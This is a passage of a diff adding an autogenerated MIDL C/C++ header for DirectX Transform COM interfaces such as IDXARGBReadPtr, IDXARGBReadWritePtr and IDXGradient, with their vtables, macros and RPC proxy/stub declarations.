InitSurface(This,pDirectDraw,pDDSurfaceDesc,pFormatID,pBounds,dwFlags) + + +#define IDXARGBSurfaceInit_InitFromDDSurface(This,pDDrawSurface,pFormatID,dwFlags) \ + (This)->lpVtbl -> InitFromDDSurface(This,pDDrawSurface,pFormatID,dwFlags) + +#define IDXARGBSurfaceInit_InitFromRawSurface(This,pRawSurface) \ + (This)->lpVtbl -> InitFromRawSurface(This,pRawSurface) + +#endif /* COBJMACROS */ + + +#endif /* C style interface */ + + + +HRESULT STDMETHODCALLTYPE IDXARGBSurfaceInit_InitFromDDSurface_Proxy( + IDXARGBSurfaceInit * This, + /* [in] */ IUnknown *pDDrawSurface, + /* [in] */ const GUID *pFormatID, + /* [in] */ DWORD dwFlags); + + +void __RPC_STUB IDXARGBSurfaceInit_InitFromDDSurface_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IDXARGBSurfaceInit_InitFromRawSurface_Proxy( + IDXARGBSurfaceInit * This, + /* [in] */ IDXRawSurface *pRawSurface); + + +void __RPC_STUB IDXARGBSurfaceInit_InitFromRawSurface_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + + +#endif /* __IDXARGBSurfaceInit_INTERFACE_DEFINED__ */ + + +/* interface __MIDL_itf_dxtrans_0270 */ +/* [local] */ + +typedef struct tagDXNATIVETYPEINFO + { + BYTE *pCurrentData; + BYTE *pFirstByte; + long lPitch; + DWORD dwColorKey; + } DXNATIVETYPEINFO; + +typedef struct tagDXPACKEDRECTDESC + { + DXBASESAMPLE *pSamples; + BOOL bPremult; + RECT rect; + long lRowPadding; + } DXPACKEDRECTDESC; + +typedef struct tagDXOVERSAMPLEDESC + { + POINT p; + DXPMSAMPLE Color; + } DXOVERSAMPLEDESC; + + + +extern RPC_IF_HANDLE __MIDL_itf_dxtrans_0270_v0_0_c_ifspec; +extern RPC_IF_HANDLE __MIDL_itf_dxtrans_0270_v0_0_s_ifspec; + +#ifndef __IDXARGBReadPtr_INTERFACE_DEFINED__ +#define __IDXARGBReadPtr_INTERFACE_DEFINED__ + +/* interface IDXARGBReadPtr */ +/* [local][unique][helpstring][uuid][object] */ + + +EXTERN_C const IID IID_IDXARGBReadPtr; + +#if defined(__cplusplus) && !defined(CINTERFACE) + + MIDL_INTERFACE("EAAAC2D6-C290-11d1-905D-00C04FD9189D") + IDXARGBReadPtr : public IUnknown + { + public: + virtual HRESULT STDMETHODCALLTYPE GetSurface( + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppSurface) = 0; + + virtual DXSAMPLEFORMATENUM STDMETHODCALLTYPE GetNativeType( + /* [out] */ DXNATIVETYPEINFO *pInfo) = 0; + + virtual void STDMETHODCALLTYPE Move( + /* [in] */ long cSamples) = 0; + + virtual void STDMETHODCALLTYPE MoveToRow( + /* [in] */ ULONG y) = 0; + + virtual void STDMETHODCALLTYPE MoveToXY( + /* [in] */ ULONG x, + /* [in] */ ULONG y) = 0; + + virtual ULONG STDMETHODCALLTYPE MoveAndGetRunInfo( + /* [in] */ ULONG Row, + /* [out] */ const DXRUNINFO **ppInfo) = 0; + + virtual DXSAMPLE *STDMETHODCALLTYPE Unpack( + /* [in] */ DXSAMPLE *pSamples, + /* [in] */ ULONG cSamples, + /* [in] */ BOOL bMove) = 0; + + virtual DXPMSAMPLE *STDMETHODCALLTYPE UnpackPremult( + /* [in] */ DXPMSAMPLE *pSamples, + /* [in] */ ULONG cSamples, + /* [in] */ BOOL bMove) = 0; + + virtual void STDMETHODCALLTYPE UnpackRect( + /* [in] */ const DXPACKEDRECTDESC *pRectDesc) = 0; + + }; + +#else /* C style interface */ + + typedef struct IDXARGBReadPtrVtbl + { + BEGIN_INTERFACE + + HRESULT ( STDMETHODCALLTYPE *QueryInterface )( + IDXARGBReadPtr * This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppvObject); + + ULONG ( STDMETHODCALLTYPE *AddRef )( + IDXARGBReadPtr * This); + + ULONG ( STDMETHODCALLTYPE *Release )( + IDXARGBReadPtr * This); + + HRESULT ( STDMETHODCALLTYPE *GetSurface )( + IDXARGBReadPtr * This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppSurface); + + DXSAMPLEFORMATENUM ( STDMETHODCALLTYPE *GetNativeType )( + IDXARGBReadPtr * This, + /* [out] */ DXNATIVETYPEINFO *pInfo); + + void ( STDMETHODCALLTYPE *Move )( + IDXARGBReadPtr * This, + /* [in] */ long cSamples); + + void ( STDMETHODCALLTYPE *MoveToRow )( + IDXARGBReadPtr * This, + /* [in] */ ULONG y); + + void ( STDMETHODCALLTYPE *MoveToXY )( + IDXARGBReadPtr * This, + /* [in] */ ULONG x, + /* [in] */ ULONG y); + + ULONG ( STDMETHODCALLTYPE *MoveAndGetRunInfo )( + IDXARGBReadPtr * This, + /* [in] */ ULONG Row, + /* [out] */ const DXRUNINFO **ppInfo); + + DXSAMPLE *( STDMETHODCALLTYPE *Unpack )( + IDXARGBReadPtr * This, + /* [in] */ DXSAMPLE *pSamples, + /* [in] */ ULONG cSamples, + /* [in] */ BOOL bMove); + + DXPMSAMPLE *( STDMETHODCALLTYPE *UnpackPremult )( + IDXARGBReadPtr * This, + /* [in] */ DXPMSAMPLE *pSamples, + /* [in] */ ULONG cSamples, + /* [in] */ BOOL bMove); + + void ( STDMETHODCALLTYPE *UnpackRect )( + IDXARGBReadPtr * This, + /* [in] */ const DXPACKEDRECTDESC *pRectDesc); + + END_INTERFACE + } IDXARGBReadPtrVtbl; + + interface IDXARGBReadPtr + { + CONST_VTBL struct IDXARGBReadPtrVtbl *lpVtbl; + }; + + + +#ifdef COBJMACROS + + +#define IDXARGBReadPtr_QueryInterface(This,riid,ppvObject) \ + (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) + +#define IDXARGBReadPtr_AddRef(This) \ + (This)->lpVtbl -> AddRef(This) + +#define IDXARGBReadPtr_Release(This) \ + (This)->lpVtbl -> Release(This) + + +#define IDXARGBReadPtr_GetSurface(This,riid,ppSurface) \ + (This)->lpVtbl -> GetSurface(This,riid,ppSurface) + +#define IDXARGBReadPtr_GetNativeType(This,pInfo) \ + (This)->lpVtbl -> GetNativeType(This,pInfo) + +#define IDXARGBReadPtr_Move(This,cSamples) \ + (This)->lpVtbl -> Move(This,cSamples) + +#define IDXARGBReadPtr_MoveToRow(This,y) \ + (This)->lpVtbl -> MoveToRow(This,y) + +#define IDXARGBReadPtr_MoveToXY(This,x,y) \ + (This)->lpVtbl -> MoveToXY(This,x,y) + +#define IDXARGBReadPtr_MoveAndGetRunInfo(This,Row,ppInfo) \ + (This)->lpVtbl -> MoveAndGetRunInfo(This,Row,ppInfo) + +#define IDXARGBReadPtr_Unpack(This,pSamples,cSamples,bMove) \ + (This)->lpVtbl -> Unpack(This,pSamples,cSamples,bMove) + +#define IDXARGBReadPtr_UnpackPremult(This,pSamples,cSamples,bMove) \ + (This)->lpVtbl -> UnpackPremult(This,pSamples,cSamples,bMove) + +#define IDXARGBReadPtr_UnpackRect(This,pRectDesc) \ + (This)->lpVtbl -> UnpackRect(This,pRectDesc) + +#endif /* COBJMACROS */ + + +#endif /* C style interface */ + + + +HRESULT STDMETHODCALLTYPE IDXARGBReadPtr_GetSurface_Proxy( + IDXARGBReadPtr * This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppSurface); + + +void __RPC_STUB IDXARGBReadPtr_GetSurface_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +DXSAMPLEFORMATENUM STDMETHODCALLTYPE IDXARGBReadPtr_GetNativeType_Proxy( + IDXARGBReadPtr * This, + /* [out] */ DXNATIVETYPEINFO *pInfo); + + +void __RPC_STUB IDXARGBReadPtr_GetNativeType_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +void STDMETHODCALLTYPE IDXARGBReadPtr_Move_Proxy( + IDXARGBReadPtr * This, + /* [in] */ long cSamples); + + +void __RPC_STUB IDXARGBReadPtr_Move_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +void STDMETHODCALLTYPE IDXARGBReadPtr_MoveToRow_Proxy( + IDXARGBReadPtr * This, + /* [in] */ ULONG y); + + +void __RPC_STUB IDXARGBReadPtr_MoveToRow_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +void STDMETHODCALLTYPE IDXARGBReadPtr_MoveToXY_Proxy( + IDXARGBReadPtr * This, + /* [in] */ ULONG x, + /* [in] */ ULONG y); + + +void __RPC_STUB IDXARGBReadPtr_MoveToXY_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +ULONG STDMETHODCALLTYPE IDXARGBReadPtr_MoveAndGetRunInfo_Proxy( + IDXARGBReadPtr * This, + /* [in] */ ULONG Row, + /* [out] */ const DXRUNINFO **ppInfo); + + +void __RPC_STUB IDXARGBReadPtr_MoveAndGetRunInfo_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +DXSAMPLE *STDMETHODCALLTYPE IDXARGBReadPtr_Unpack_Proxy( + IDXARGBReadPtr * This, + /* [in] */ DXSAMPLE *pSamples, + /* [in] */ ULONG cSamples, + /* [in] */ BOOL bMove); + + +void __RPC_STUB IDXARGBReadPtr_Unpack_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +DXPMSAMPLE *STDMETHODCALLTYPE IDXARGBReadPtr_UnpackPremult_Proxy( + IDXARGBReadPtr * This, + /* [in] */ DXPMSAMPLE *pSamples, + /* [in] */ ULONG cSamples, + /* [in] */ BOOL bMove); + + +void __RPC_STUB IDXARGBReadPtr_UnpackPremult_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +void STDMETHODCALLTYPE IDXARGBReadPtr_UnpackRect_Proxy( + IDXARGBReadPtr * This, + /* [in] */ const DXPACKEDRECTDESC *pRectDesc); + + +void __RPC_STUB IDXARGBReadPtr_UnpackRect_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + + +#endif /* __IDXARGBReadPtr_INTERFACE_DEFINED__ */ + + +#ifndef __IDXARGBReadWritePtr_INTERFACE_DEFINED__ +#define __IDXARGBReadWritePtr_INTERFACE_DEFINED__ + +/* interface IDXARGBReadWritePtr */ +/* [local][unique][helpstring][uuid][object] */ + + +EXTERN_C const IID IID_IDXARGBReadWritePtr; + +#if defined(__cplusplus) && !defined(CINTERFACE) + + MIDL_INTERFACE("EAAAC2D7-C290-11d1-905D-00C04FD9189D") + IDXARGBReadWritePtr : public IDXARGBReadPtr + { + public: + virtual void STDMETHODCALLTYPE PackAndMove( + /* [in] */ const DXSAMPLE *pSamples, + /* [in] */ ULONG cSamples) = 0; + + virtual void STDMETHODCALLTYPE PackPremultAndMove( + /* [in] */ const DXPMSAMPLE *pSamples, + /* [in] */ ULONG cSamples) = 0; + + virtual void STDMETHODCALLTYPE PackRect( + /* [in] */ const DXPACKEDRECTDESC *pRectDesc) = 0; + + virtual void STDMETHODCALLTYPE CopyAndMoveBoth( + /* [in] */ DXBASESAMPLE *pScratchBuffer, + /* [in] */ IDXARGBReadPtr *pSrc, + /* [in] */ ULONG cSamples, + /* [in] */ BOOL bIsOpaque) = 0; + + virtual void STDMETHODCALLTYPE CopyRect( + /* [in] */ DXBASESAMPLE *pScratchBuffer, + /* [in] */ const RECT *pDestRect, + /* [in] */ IDXARGBReadPtr *pSrc, + /* [in] */ const POINT *pSrcOrigin, + /* [in] */ BOOL bIsOpaque) = 0; + + virtual void STDMETHODCALLTYPE FillAndMove( + /* [in] */ DXBASESAMPLE *pScratchBuffer, + /* [in] */ DXPMSAMPLE SampVal, + /* [in] */ ULONG cSamples, + /* [in] */ BOOL bDoOver) = 0; + + virtual void STDMETHODCALLTYPE FillRect( + /* [in] */ const RECT *pRect, + /* [in] */ DXPMSAMPLE SampVal, + /* [in] */ BOOL bDoOver) = 0; + + virtual void STDMETHODCALLTYPE OverSample( + /* [in] */ const DXOVERSAMPLEDESC *pOverDesc) = 0; + + virtual void STDMETHODCALLTYPE OverArrayAndMove( + /* [in] */ DXBASESAMPLE *pScratchBuffer, + /* [in] */ const DXPMSAMPLE *pSrc, + /* [in] */ ULONG cSamples) = 0; + + }; + +#else /* C style interface */ + + typedef struct IDXARGBReadWritePtrVtbl + { + BEGIN_INTERFACE + + HRESULT ( STDMETHODCALLTYPE *QueryInterface )( + IDXARGBReadWritePtr * This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppvObject); + + ULONG ( STDMETHODCALLTYPE *AddRef )( + IDXARGBReadWritePtr * This); + + ULONG ( STDMETHODCALLTYPE *Release )( + IDXARGBReadWritePtr * This); + + HRESULT ( STDMETHODCALLTYPE *GetSurface )( + IDXARGBReadWritePtr * This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppSurface); + + DXSAMPLEFORMATENUM ( STDMETHODCALLTYPE *GetNativeType )( + IDXARGBReadWritePtr * This, + /* [out] */ DXNATIVETYPEINFO *pInfo); + + void ( STDMETHODCALLTYPE *Move )( + IDXARGBReadWritePtr * This, + /* [in] */ long cSamples); + + void ( STDMETHODCALLTYPE *MoveToRow )( + IDXARGBReadWritePtr * This, + /* [in] */ ULONG y); + + void ( STDMETHODCALLTYPE *MoveToXY )( + IDXARGBReadWritePtr * This, + /* [in] */ ULONG x, + /* [in] */ ULONG y); + + ULONG ( STDMETHODCALLTYPE *MoveAndGetRunInfo )( + IDXARGBReadWritePtr * This, + /* [in] */ ULONG Row, + /* [out] */ const DXRUNINFO **ppInfo); + + DXSAMPLE *( STDMETHODCALLTYPE *Unpack )( + IDXARGBReadWritePtr * This, + /* [in] */ DXSAMPLE *pSamples, + /* [in] */ ULONG cSamples, + /* [in] */ BOOL bMove); + + DXPMSAMPLE *( STDMETHODCALLTYPE *UnpackPremult )( + IDXARGBReadWritePtr * This, + /* [in] */ DXPMSAMPLE *pSamples, + /* [in] */ ULONG cSamples, + /* [in] */ BOOL bMove); + + void ( STDMETHODCALLTYPE *UnpackRect )( + IDXARGBReadWritePtr * This, + /* [in] */ const DXPACKEDRECTDESC *pRectDesc); + + void ( STDMETHODCALLTYPE *PackAndMove )( + IDXARGBReadWritePtr * This, + /* [in] */ const DXSAMPLE *pSamples, + /* [in] */ ULONG cSamples); + + void ( STDMETHODCALLTYPE *PackPremultAndMove )( + IDXARGBReadWritePtr * This, + /* [in] */ const DXPMSAMPLE *pSamples, + /* [in] */ ULONG cSamples); + + void ( STDMETHODCALLTYPE *PackRect )( + IDXARGBReadWritePtr * This, + /* [in] */ const DXPACKEDRECTDESC *pRectDesc); + + void ( STDMETHODCALLTYPE *CopyAndMoveBoth )( + IDXARGBReadWritePtr * This, + /* [in] */ DXBASESAMPLE *pScratchBuffer, + /* [in] */ IDXARGBReadPtr *pSrc, + /* [in] */ ULONG cSamples, + /* [in] */ BOOL bIsOpaque); + + void ( STDMETHODCALLTYPE *CopyRect )( + IDXARGBReadWritePtr * This, + /* [in] */ DXBASESAMPLE *pScratchBuffer, + /* [in] */ const RECT *pDestRect, + /* [in] */ IDXARGBReadPtr *pSrc, + /* [in] */ const POINT *pSrcOrigin, + /* [in] */ BOOL bIsOpaque); + + void ( STDMETHODCALLTYPE *FillAndMove )( + IDXARGBReadWritePtr * This, + /* [in] */ DXBASESAMPLE *pScratchBuffer, + /* [in] */ DXPMSAMPLE SampVal, + /* [in] */ ULONG cSamples, + /* [in] */ BOOL bDoOver); + + void ( STDMETHODCALLTYPE *FillRect )( + IDXARGBReadWritePtr * This, + /* [in] */ const RECT *pRect, + /* [in] */ DXPMSAMPLE SampVal, + /* [in] */ BOOL bDoOver); + + void ( STDMETHODCALLTYPE *OverSample )( + IDXARGBReadWritePtr * This, + /* [in] */ const DXOVERSAMPLEDESC *pOverDesc); + + void ( STDMETHODCALLTYPE *OverArrayAndMove )( + IDXARGBReadWritePtr * This, + /* [in] */ DXBASESAMPLE *pScratchBuffer, + /* [in] */ const DXPMSAMPLE *pSrc, + /* [in] */ ULONG cSamples); + + END_INTERFACE + } IDXARGBReadWritePtrVtbl; + + interface IDXARGBReadWritePtr + { + CONST_VTBL struct IDXARGBReadWritePtrVtbl *lpVtbl; + }; + + + +#ifdef COBJMACROS + + +#define IDXARGBReadWritePtr_QueryInterface(This,riid,ppvObject) \ + (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) + +#define IDXARGBReadWritePtr_AddRef(This) \ + (This)->lpVtbl -> AddRef(This) + +#define IDXARGBReadWritePtr_Release(This) \ + (This)->lpVtbl -> Release(This) + + +#define IDXARGBReadWritePtr_GetSurface(This,riid,ppSurface) \ + (This)->lpVtbl -> GetSurface(This,riid,ppSurface) + +#define IDXARGBReadWritePtr_GetNativeType(This,pInfo) \ + (This)->lpVtbl -> GetNativeType(This,pInfo) + +#define IDXARGBReadWritePtr_Move(This,cSamples) \ + (This)->lpVtbl -> Move(This,cSamples) + +#define IDXARGBReadWritePtr_MoveToRow(This,y) \ + (This)->lpVtbl -> MoveToRow(This,y) + +#define IDXARGBReadWritePtr_MoveToXY(This,x,y) \ + (This)->lpVtbl -> MoveToXY(This,x,y) + +#define IDXARGBReadWritePtr_MoveAndGetRunInfo(This,Row,ppInfo) \ + (This)->lpVtbl -> MoveAndGetRunInfo(This,Row,ppInfo) + +#define IDXARGBReadWritePtr_Unpack(This,pSamples,cSamples,bMove) \ + (This)->lpVtbl -> Unpack(This,pSamples,cSamples,bMove) + +#define IDXARGBReadWritePtr_UnpackPremult(This,pSamples,cSamples,bMove) \ + (This)->lpVtbl -> UnpackPremult(This,pSamples,cSamples,bMove) + +#define IDXARGBReadWritePtr_UnpackRect(This,pRectDesc) \ + (This)->lpVtbl -> UnpackRect(This,pRectDesc) + + +#define IDXARGBReadWritePtr_PackAndMove(This,pSamples,cSamples) \ + (This)->lpVtbl -> PackAndMove(This,pSamples,cSamples) + +#define IDXARGBReadWritePtr_PackPremultAndMove(This,pSamples,cSamples) \ + (This)->lpVtbl -> PackPremultAndMove(This,pSamples,cSamples) + +#define IDXARGBReadWritePtr_PackRect(This,pRectDesc) \ + (This)->lpVtbl -> PackRect(This,pRectDesc) + +#define IDXARGBReadWritePtr_CopyAndMoveBoth(This,pScratchBuffer,pSrc,cSamples,bIsOpaque) \ + (This)->lpVtbl -> CopyAndMoveBoth(This,pScratchBuffer,pSrc,cSamples,bIsOpaque) + +#define IDXARGBReadWritePtr_CopyRect(This,pScratchBuffer,pDestRect,pSrc,pSrcOrigin,bIsOpaque) \ + (This)->lpVtbl -> CopyRect(This,pScratchBuffer,pDestRect,pSrc,pSrcOrigin,bIsOpaque) + +#define IDXARGBReadWritePtr_FillAndMove(This,pScratchBuffer,SampVal,cSamples,bDoOver) \ + (This)->lpVtbl -> FillAndMove(This,pScratchBuffer,SampVal,cSamples,bDoOver) + +#define IDXARGBReadWritePtr_FillRect(This,pRect,SampVal,bDoOver) \ + (This)->lpVtbl -> FillRect(This,pRect,SampVal,bDoOver) + +#define IDXARGBReadWritePtr_OverSample(This,pOverDesc) \ + (This)->lpVtbl -> OverSample(This,pOverDesc) + +#define IDXARGBReadWritePtr_OverArrayAndMove(This,pScratchBuffer,pSrc,cSamples) \ + (This)->lpVtbl -> OverArrayAndMove(This,pScratchBuffer,pSrc,cSamples) + +#endif /* COBJMACROS */ + + +#endif /* C style interface */ + + + +void STDMETHODCALLTYPE IDXARGBReadWritePtr_PackAndMove_Proxy( + IDXARGBReadWritePtr * This, + /* [in] */ const DXSAMPLE *pSamples, + /* [in] */ ULONG cSamples); + + +void __RPC_STUB IDXARGBReadWritePtr_PackAndMove_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +void STDMETHODCALLTYPE IDXARGBReadWritePtr_PackPremultAndMove_Proxy( + IDXARGBReadWritePtr * This, + /* [in] */ const DXPMSAMPLE *pSamples, + /* [in] */ ULONG cSamples); + + +void __RPC_STUB IDXARGBReadWritePtr_PackPremultAndMove_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +void STDMETHODCALLTYPE IDXARGBReadWritePtr_PackRect_Proxy( + IDXARGBReadWritePtr * This, + /* [in] */ const DXPACKEDRECTDESC *pRectDesc); + + +void __RPC_STUB IDXARGBReadWritePtr_PackRect_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +void STDMETHODCALLTYPE IDXARGBReadWritePtr_CopyAndMoveBoth_Proxy( + IDXARGBReadWritePtr * This, + /* [in] */ DXBASESAMPLE *pScratchBuffer, + /* [in] */ IDXARGBReadPtr *pSrc, + /* [in] */ ULONG cSamples, + /* [in] */ BOOL bIsOpaque); + + +void __RPC_STUB IDXARGBReadWritePtr_CopyAndMoveBoth_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +void STDMETHODCALLTYPE IDXARGBReadWritePtr_CopyRect_Proxy( + IDXARGBReadWritePtr * This, + /* [in] */ DXBASESAMPLE *pScratchBuffer, + /* [in] */ const RECT *pDestRect, + /* [in] */ IDXARGBReadPtr *pSrc, + /* [in] */ const POINT *pSrcOrigin, + /* [in] */ BOOL bIsOpaque); + + +void __RPC_STUB IDXARGBReadWritePtr_CopyRect_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +void STDMETHODCALLTYPE IDXARGBReadWritePtr_FillAndMove_Proxy( + IDXARGBReadWritePtr * This, + /* [in] */ DXBASESAMPLE *pScratchBuffer, + /* [in] */ DXPMSAMPLE SampVal, + /* [in] */ ULONG cSamples, + /* [in] */ BOOL bDoOver); + + +void __RPC_STUB IDXARGBReadWritePtr_FillAndMove_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +void STDMETHODCALLTYPE IDXARGBReadWritePtr_FillRect_Proxy( + IDXARGBReadWritePtr * This, + /* [in] */ const RECT *pRect, + /* [in] */ DXPMSAMPLE SampVal, + /* [in] */ BOOL bDoOver); + + +void __RPC_STUB IDXARGBReadWritePtr_FillRect_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +void STDMETHODCALLTYPE IDXARGBReadWritePtr_OverSample_Proxy( + IDXARGBReadWritePtr * This, + /* [in] */ const DXOVERSAMPLEDESC *pOverDesc); + + +void __RPC_STUB IDXARGBReadWritePtr_OverSample_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +void STDMETHODCALLTYPE IDXARGBReadWritePtr_OverArrayAndMove_Proxy( + IDXARGBReadWritePtr * This, + /* [in] */ DXBASESAMPLE *pScratchBuffer, + /* [in] */ const DXPMSAMPLE *pSrc, + /* [in] */ ULONG cSamples); + + +void __RPC_STUB IDXARGBReadWritePtr_OverArrayAndMove_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + + +#endif /* __IDXARGBReadWritePtr_INTERFACE_DEFINED__ */ + + +#ifndef __IDXDCLock_INTERFACE_DEFINED__ +#define __IDXDCLock_INTERFACE_DEFINED__ + +/* interface IDXDCLock */ +/* [local][unique][helpstring][uuid][object] */ + + +EXTERN_C const IID IID_IDXDCLock; + +#if defined(__cplusplus) && !defined(CINTERFACE) + + MIDL_INTERFACE("0F619456-CF39-11d1-905E-00C04FD9189D") + IDXDCLock : public IUnknown + { + public: + virtual HDC STDMETHODCALLTYPE GetDC( void) = 0; + + }; + +#else /* C style interface */ + + typedef struct IDXDCLockVtbl + { + BEGIN_INTERFACE + + HRESULT ( STDMETHODCALLTYPE *QueryInterface )( + IDXDCLock * This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppvObject); + + ULONG ( STDMETHODCALLTYPE *AddRef )( + IDXDCLock * This); + + ULONG ( STDMETHODCALLTYPE *Release )( + IDXDCLock * This); + + HDC ( STDMETHODCALLTYPE *GetDC )( + IDXDCLock * This); + + END_INTERFACE + } IDXDCLockVtbl; + + interface IDXDCLock + { + CONST_VTBL struct IDXDCLockVtbl *lpVtbl; + }; + + + +#ifdef COBJMACROS + + +#define IDXDCLock_QueryInterface(This,riid,ppvObject) \ + (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) + +#define IDXDCLock_AddRef(This) \ + (This)->lpVtbl -> AddRef(This) + +#define IDXDCLock_Release(This) \ + (This)->lpVtbl -> Release(This) + + +#define IDXDCLock_GetDC(This) \ + (This)->lpVtbl -> GetDC(This) + +#endif /* COBJMACROS */ + + +#endif /* C style interface */ + + + +HDC STDMETHODCALLTYPE IDXDCLock_GetDC_Proxy( + IDXDCLock * This); + + +void __RPC_STUB IDXDCLock_GetDC_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + + +#endif /* __IDXDCLock_INTERFACE_DEFINED__ */ + + +#ifndef __IDXTScaleOutput_INTERFACE_DEFINED__ +#define __IDXTScaleOutput_INTERFACE_DEFINED__ + +/* interface IDXTScaleOutput */ +/* [local][unique][helpstring][uuid][object] */ + + +EXTERN_C const IID IID_IDXTScaleOutput; + +#if defined(__cplusplus) && !defined(CINTERFACE) + + MIDL_INTERFACE("B2024B50-EE77-11d1-9066-00C04FD9189D") + IDXTScaleOutput : public IUnknown + { + public: + virtual HRESULT STDMETHODCALLTYPE SetOutputSize( + /* [in] */ const SIZE OutSize, + /* [in] */ BOOL bMaintainAspect) = 0; + + }; + +#else /* C style interface */ + + typedef struct IDXTScaleOutputVtbl + { + BEGIN_INTERFACE + + HRESULT ( STDMETHODCALLTYPE *QueryInterface )( + IDXTScaleOutput * This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppvObject); + + ULONG ( STDMETHODCALLTYPE *AddRef )( + IDXTScaleOutput * This); + + ULONG ( STDMETHODCALLTYPE *Release )( + IDXTScaleOutput * This); + + HRESULT ( STDMETHODCALLTYPE *SetOutputSize )( + IDXTScaleOutput * This, + /* [in] */ const SIZE OutSize, + /* [in] */ BOOL bMaintainAspect); + + END_INTERFACE + } IDXTScaleOutputVtbl; + + interface IDXTScaleOutput + { + CONST_VTBL struct IDXTScaleOutputVtbl *lpVtbl; + }; + + + +#ifdef COBJMACROS + + +#define IDXTScaleOutput_QueryInterface(This,riid,ppvObject) \ + (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) + +#define IDXTScaleOutput_AddRef(This) \ + (This)->lpVtbl -> AddRef(This) + +#define IDXTScaleOutput_Release(This) \ + (This)->lpVtbl -> Release(This) + + +#define IDXTScaleOutput_SetOutputSize(This,OutSize,bMaintainAspect) \ + (This)->lpVtbl -> SetOutputSize(This,OutSize,bMaintainAspect) + +#endif /* COBJMACROS */ + + +#endif /* C style interface */ + + + +HRESULT STDMETHODCALLTYPE IDXTScaleOutput_SetOutputSize_Proxy( + IDXTScaleOutput * This, + /* [in] */ const SIZE OutSize, + /* [in] */ BOOL bMaintainAspect); + + +void __RPC_STUB IDXTScaleOutput_SetOutputSize_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + + +#endif /* __IDXTScaleOutput_INTERFACE_DEFINED__ */ + + +#ifndef __IDXGradient_INTERFACE_DEFINED__ +#define __IDXGradient_INTERFACE_DEFINED__ + +/* interface IDXGradient */ +/* [local][unique][helpstring][uuid][object] */ + + +EXTERN_C const IID IID_IDXGradient; + +#if defined(__cplusplus) && !defined(CINTERFACE) + + MIDL_INTERFACE("B2024B51-EE77-11d1-9066-00C04FD9189D") + IDXGradient : public IDXTScaleOutput + { + public: + virtual HRESULT STDMETHODCALLTYPE SetGradient( + DXSAMPLE StartColor, + DXSAMPLE EndColor, + BOOL bHorizontal) = 0; + + virtual HRESULT STDMETHODCALLTYPE GetOutputSize( + /* [out] */ SIZE *pOutSize) = 0; + + }; + +#else /* C style interface */ + + typedef struct IDXGradientVtbl + { + 